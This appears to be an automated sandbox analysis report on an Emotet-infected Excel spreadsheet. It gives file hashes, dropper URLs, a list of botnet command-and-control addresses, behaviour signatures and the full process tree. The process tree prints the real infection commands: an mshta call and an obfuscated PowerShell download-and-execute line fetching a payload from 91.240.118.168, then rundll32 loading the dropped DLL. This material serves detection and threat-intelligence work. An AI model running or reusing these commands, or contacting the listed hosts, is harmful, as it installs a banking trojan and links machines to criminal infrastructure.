emotet | a3ece4fcf56f35b0b0fafdf8a0da9a5b56b33b1c91ed21de5b87f3113113b57d

Analysis

max time kernel
140s
max time network
139s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 16:02

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General

Target
iMedPub LTD_3.xls
Size 155KB
Sample220128-tgvdksgcdl
SHA256 a3ece4fcf56f35b0b0fafdf8a0da9a5b56b33b1c91ed21de5b87f3113113b57d
MD5 d63be985043b9a55c93908a09e028833
SHA1 893449319c8f949af82d65e052332919fc9f6b5c
SHA512 d5839853159a9eed81980a34a8e38802ee61f28401d2dfe53389892f73d7b1c02ae55ead8c0106d7c7c745213d8a05301e8d7ec6db0369a7cb1ccb1402086ae3
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family

emotet

Botnet

Epoch4

160.16.102.168:80
131.100.24.231:80
200.17.134.35:7080
207.38.84.195:8080
212.237.56.116:7080
58.227.42.236:80
104.251.214.46:8080
158.69.222.101:443
192.254.71.210:443
46.55.222.11:443
45.118.135.203:7080
107.182.225.142:8080
103.75.201.2:443
104.168.155.129:8080
195.154.133.20:443
159.8.59.82:8080
110.232.117.186:8080
45.142.114.231:8080
41.76.108.46:8080
203.114.109.124:443
50.116.54.215:443
209.59.138.75:7080
185.157.82.211:8080
164.68.99.3:8080
162.214.50.39:7080
138.185.72.26:8080
178.63.25.185:443
51.15.4.22:443
81.0.236.90:443
216.158.226.206:443
45.176.232.124:443
162.243.175.63:443
212.237.17.99:8080
45.118.115.99:8080
129.232.188.93:443
173.214.173.220:8080
178.79.147.66:8080
176.104.106.96:8080
51.38.71.0:443
173.212.193.249:8080
217.182.143.207:443
212.24.98.99:8080
159.89.230.105:443
79.172.212.216:8080
212.237.5.209:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3804	2180	cmd.exe	68

Blocklisted process makes network request 6 IoCs

flow	pid	Process
37	3748	mshta.exe
38	60	powershell.exe
40	60	powershell.exe
44	60	powershell.exe
48	60	powershell.exe
55	2956	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1964	rundll32.exe
3608	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Iohcr\xinlko.evw	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1216	3748	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2180	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
60	powershell.exe
60	powershell.exe
1216	WerFault.exe
1216	WerFault.exe
1216	WerFault.exe
1216	WerFault.exe
1216	WerFault.exe
1216	WerFault.exe
1216	WerFault.exe
1216	WerFault.exe
1216	WerFault.exe
1216	WerFault.exe
1216	WerFault.exe
1216	WerFault.exe
1216	WerFault.exe
1216	WerFault.exe
60	powershell.exe
2956	rundll32.exe
2956	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	60	powershell.exe
Token: SeDebugPrivilege	1216	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2180	EXCEL.EXE
2180	EXCEL.EXE
2180	EXCEL.EXE
2180	EXCEL.EXE
2180	EXCEL.EXE
2180	EXCEL.EXE
2180	EXCEL.EXE
2180	EXCEL.EXE
2180	EXCEL.EXE
2180	EXCEL.EXE
2180	EXCEL.EXE
2180	EXCEL.EXE
2180	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 3804	2180	EXCEL.EXE	73
PID 2180 wrote to memory of 3804	2180	EXCEL.EXE	73
PID 3804 wrote to memory of 3748	3804	cmd.exe	75
PID 3804 wrote to memory of 3748	3804	cmd.exe	75
PID 3748 wrote to memory of 60	3748	mshta.exe	77
PID 3748 wrote to memory of 60	3748	mshta.exe	77
PID 60 wrote to memory of 3720	60	powershell.exe	80
PID 60 wrote to memory of 3720	60	powershell.exe	80
PID 3720 wrote to memory of 1964	3720	cmd.exe	81
PID 3720 wrote to memory of 1964	3720	cmd.exe	81
PID 3720 wrote to memory of 1964	3720	cmd.exe	81
PID 1964 wrote to memory of 3608	1964	rundll32.exe	82
PID 1964 wrote to memory of 3608	1964	rundll32.exe	82
PID 1964 wrote to memory of 3608	1964	rundll32.exe	82
PID 3608 wrote to memory of 2076	3608	rundll32.exe	83
PID 3608 wrote to memory of 2076	3608	rundll32.exe	83
PID 3608 wrote to memory of 2076	3608	rundll32.exe	83
PID 2076 wrote to memory of 2956	2076	rundll32.exe	84
PID 2076 wrote to memory of 2956	2076	rundll32.exe	84
PID 2076 wrote to memory of 2956	2076	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\iMedPub LTD_3.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3804
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zqqw/zaas/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:60
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3720
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1964
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3608
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Iohcr\xinlko.evw",oOBfDfBSDjZl
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2076
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Iohcr\xinlko.evw",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2956
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3748 -s 1660
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1216

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/60-281-0x000001CBF5AA0000-0x000001CBF5AC2000-memory.dmp

Download

memory/60-305-0x000001CBF6040000-0x000001CBF607C000-memory.dmp

Download

memory/60-378-0x000001CBDD300000-0x000001CBDD430000-memory.dmp

Download

memory/60-338-0x000001CBF6100000-0x000001CBF6176000-memory.dmp

Download

memory/60-298-0x000001CBDD300000-0x000001CBDD430000-memory.dmp

Download

memory/60-299-0x000001CBDD300000-0x000001CBDD430000-memory.dmp

Download

memory/1964-622-0x0000000004490000-0x00000000044B5000-memory.dmp

Download

memory/2076-647-0x0000000004B80000-0x0000000004BA5000-memory.dmp

Download

memory/2180-688-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Download

memory/2180-132-0x00007FFB7FCD0000-0x00007FFB7FCE0000-memory.dmp

Download

memory/2180-121-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Download

memory/2180-120-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Download

memory/2180-131-0x00007FFB7FCD0000-0x00007FFB7FCE0000-memory.dmp

Download

memory/2180-119-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Download

memory/2180-687-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Download

memory/2180-118-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

Download

memory/2180-686-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

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memory/2180-685-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

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memory/2180-122-0x00007FFB83070000-0x00007FFB83080000-memory.dmp

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memory/2956-651-0x00000000044B0000-0x00000000044D5000-memory.dmp

Download

memory/2956-653-0x00000000045B0000-0x00000000045D5000-memory.dmp

Download

memory/3608-634-0x0000000004F20000-0x0000000004F45000-memory.dmp

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memory/3608-650-0x00000000051A0000-0x00000000051C5000-memory.dmp

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memory/3608-638-0x0000000004FE0000-0x0000000005005000-memory.dmp

Download

memory/3608-636-0x0000000004F80000-0x0000000004FA5000-memory.dmp

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memory/3608-629-0x00000000048E0000-0x0000000004905000-memory.dmp

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memory/3608-627-0x0000000002F90000-0x0000000002FB5000-memory.dmp

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